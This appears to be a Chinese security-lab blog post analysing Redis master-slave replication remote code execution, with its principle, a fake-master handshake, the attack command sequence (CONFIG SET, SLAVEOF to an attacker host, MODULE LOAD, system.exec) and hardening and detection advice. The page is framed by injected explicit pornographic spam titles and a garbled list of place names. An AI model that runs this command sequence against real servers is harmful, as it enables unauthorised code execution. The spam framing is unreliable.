老赵揉搓苏清雅双乳的视频_老头老太性行交视频_老同学3免费集_老师没戴套子C了我一天视频_老师的丰满大乳奶_老师把我添高潮了A片潘金莲

咨詢服務(wù)熱線

400-6446-808

創(chuàng)安實驗室專欄
您的當前位置:首頁 > 創(chuàng)安實驗室專欄
創(chuàng)安實驗室專欄丨Redis主從復(fù)制RCE分析
發(fā)布者:創(chuàng)信華通  發(fā)布時間:2023-01-09  瀏覽量:1606次











古語有云:“學(xué)如逆水行舟,不進則退。”面對如今隨時都在變化的網(wǎng)絡(luò)安全環(huán)境更是如此。為此,創(chuàng)信華通微信公眾號特開設(shè)“創(chuàng)安實驗室專欄”,以記錄創(chuàng)信華通創(chuàng)安實驗室在技術(shù)上的探索,加強同行間的交流,相互學(xué)習(xí),共同進步。


?+

+

Redis主從復(fù)制RCE分析

漏洞描述

Redis是一套開源的使用ANSIC編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、鍵值存儲數(shù)據(jù)庫,并提供多種語言的API。由于其高可用性和速度優(yōu)勢,常用于緩存系統(tǒng)(“熱點”數(shù)據(jù):高頻讀、低頻寫)、計數(shù)器、消息隊列系統(tǒng)、排行榜、社交網(wǎng)絡(luò)和實時系統(tǒng)等。

Redis主從復(fù)制RCE是在主從復(fù)制基礎(chǔ)上,通過復(fù)制惡意文件到本地,結(jié)合模塊加載功能將惡意文件成功加載,調(diào)用惡意文件接口實現(xiàn)命令執(zhí)行。

影響

Redis 4.x 和Redis 5.x版本

漏洞原理

Redis 2.8版本在原有單機架構(gòu)的基礎(chǔ)上,為了解決單機宕機的風(fēng)險,引入主從復(fù)制的機制,通過主服務(wù)器將數(shù)據(jù)備份到從服務(wù)器上,由主服務(wù)器負責(zé)處理外部寫操作,從服務(wù)器負責(zé)讀操作。通過數(shù)據(jù)復(fù)制,Redis的一個master可以掛載多個slave,而slave下還可以掛載多個slave,形成多層嵌套結(jié)構(gòu)。所有寫操作都在master實例中進行,master執(zhí)行完畢后,將寫指令分發(fā)給掛在自己下面的slave節(jié)點。slave節(jié)點下如果有嵌套的slave,會將收到的寫指令進一步分發(fā)給掛在自己下面的slave。

Redis提供了2種不同的持久化方式,RDB方式(在指定的時間間隔內(nèi)生成數(shù)據(jù)集的時間點快照)和AOF方式(記錄服務(wù)器執(zhí)行的所有寫操作命令).AOF方式備份數(shù)據(jù)庫的文件名默認為appendonly.aof,可以在配置文件中通過修改appendfilename參數(shù)進行修改,無法在客戶端交互中動態(tài)設(shè)置appendfilename,而RDB方式備份數(shù)據(jù)庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態(tài)設(shè)置dbfilename來更改。

主從復(fù)制模式下數(shù)據(jù)單向從主節(jié)點流向從節(jié)點,在從節(jié)點首次注冊時,會對主節(jié)點數(shù)據(jù)進行全量復(fù)制,復(fù)制過程中用offset記錄讀取的數(shù)據(jù)大小,以便中斷后斷點續(xù)傳。如果從節(jié)點初始沒有數(shù)據(jù),通過主從復(fù)制,可以將主節(jié)點設(shè)置的dbfilename文件全量復(fù)制到從節(jié)點的dbfilename中,從而實現(xiàn)任意文件上傳。

任意Redis服務(wù)器在啟動時默認作為Master主節(jié)點,當執(zhí)行SLAVEOF命令后自動發(fā)送請求注冊成為目標的從節(jié)點,未對主節(jié)點信息進行校驗。

在Reids 4.x之后,Redis新增了模塊功能,通過寫c語言并編譯出.so文件作為外部拓展,可以實現(xiàn)在redis中實現(xiàn)一個新的Redis命令。

因此,可以通過自己模擬Redis服務(wù)器,通過執(zhí)行命令設(shè)置將其設(shè)置為主節(jié)點,通過自行構(gòu)造主服務(wù)器響應(yīng)的情況,通過FULLRESYNC命令無損寫入想要寫的文件。結(jié)合任意模塊加載,實現(xiàn)任意命令執(zhí)行。

攻擊流程

0x00 模擬Redis主服務(wù)器

主服務(wù)器需要執(zhí)行的響應(yīng)內(nèi)容如下:

[>] PING – 從服務(wù)器探測主服務(wù)器是否存活

[<] +PONG  存活響應(yīng)

[>] REPLCONF – 交換主從節(jié)點復(fù)制信息

[<] +OK     確認

[>] PSYNC/SYNC – 同步狀態(tài)以及傳輸方式

[<] +FULLRESYNC  同步數(shù)據(jù)

0x01 復(fù)制加載

Config set dir /path/

Config set dbfilename test.so  修改備份文件路徑

SLAVEOF host port 設(shè)置為對應(yīng)服務(wù)器的從節(jié)點

MODULE LOAD /path/test.so 加載復(fù)制過來的

SLAVEOF no one  關(guān)閉主從復(fù)制關(guān)系(防止臟數(shù)據(jù)復(fù)制)

System.exec ‘command’ 執(zhí)行命令

對應(yīng)流量特征如下:

修復(fù)建議

主從復(fù)制RCE實現(xiàn)條件:

□ Redis可訪問(未授權(quán)或有憑據(jù))

□ 可動態(tài)修改備份文件路徑

□ 主從未校驗可信服務(wù)端

依據(jù)上述情況,可以對應(yīng)防護:

① Redis設(shè)置訪問白名單(入 防止惡意訪問和出 防止惡意設(shè)置為主從)

② Redis添加認證

在配置文件/etc/redis/redis.conf中修改requirepasss屬性為強口令,完成后重啟服務(wù)器

動態(tài)命令設(shè)置config set requirepass YorPass

③ 重命名相關(guān)命令

在配置文件/etc/redis/redis.conf中

rename-command CONFIG PDZA1DA也可以rename-command CONFIG "" 設(shè)置為空來禁用

對于惡意特征,可以通過MODULE LIST命令查看當前加載的模塊信息,重點關(guān)注非官方加載或者SYSTEM、EXEC等惡意關(guān)鍵詞,監(jiān)控Redis服務(wù)器上Redis進程寫入的so文件(Windows為DLL文件),流量中可以重點關(guān)注FULLRESYNC命令以及相關(guān)文件二進制特征(Webshell,Cron,Authorized_keys,so和DLL等)。

E·N·D


本文由創(chuàng)信華通創(chuàng)安實驗室編輯。

本文僅限于個人學(xué)習(xí)和技術(shù)研究,由于傳播、利用此文所提供的信息而造成刑事案件、非授權(quán)攻擊等違法行為,均由使用者本人負責(zé),本單位不為此承擔(dān)任何責(zé)任。創(chuàng)安攻防實驗室擁有對此文章的修改和解釋權(quán),如欲轉(zhuǎn)載或傳播此文章,必須保證此文章的完整性,包括版權(quán)聲明等全部內(nèi)容。


如有侵權(quán),請聯(lián)系后臺。




創(chuàng)安實驗室

創(chuàng)信華通創(chuàng)安實驗室,是成都創(chuàng)信華通信息技術(shù)有限公司旗下的技術(shù)研究團隊,成立于2021年9月,主要研究紅藍對抗、重大安全保障、應(yīng)急響應(yīng)等方向。

創(chuàng)安攻防實驗室圓滿完成了多次公安舉辦的重要網(wǎng)絡(luò)安全保障和攻防演習(xí)活動,并積極參加各類網(wǎng)絡(luò)安全競賽,屢獲殊榮。

創(chuàng)安攻防實驗室秉承創(chuàng)信華通的發(fā)展理念,致力打造國內(nèi)一流網(wǎng)絡(luò)安全團隊。



怀集县| 浪卡子县| 永胜县| 上犹县| 盐源县| 新河县| 清涧县| 玛沁县| 阿城市| 修水县| 临沂市| 鸡西市| 鲁山县| 论坛| 二连浩特市| 巴楚县| 桦川县| 彰化县| 富顺县| 樟树市| 建湖县| 沙雅县| 玛沁县| 聂拉木县| 金山区| 晋宁县| 鄄城县| 曲松县| 宜兰县| 广昌县| 蓬莱市| 拜泉县| 长汀县| 广昌县| 广东省| 桦南县| 慈溪市| 汾阳市| 建水县| 乐昌市| 大连市|